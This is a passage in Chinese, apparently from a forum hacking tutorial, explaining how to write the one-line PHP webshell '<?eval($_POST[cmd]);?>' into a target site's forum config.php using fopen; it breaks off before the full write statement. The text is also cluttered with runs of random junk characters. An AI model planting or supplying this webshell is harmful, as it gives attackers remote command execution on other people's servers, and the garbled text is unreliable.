因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 ; O+ w8 d8 O6 o7 U0 V7 X, [
3 W: W- I$ o" l
比如还是这句一句话木马
) A( f* S* \! M/ i<?eval($_POST[cmd]);?>
; N& N8 j2 ^4 `3 h6 W8 l6 ^, l: x" U |, b [3 E7 \5 p1 T) f" c
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, ! A' b+ v8 z4 Y6 s
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 8 m$ s$ T0 S: q5 S
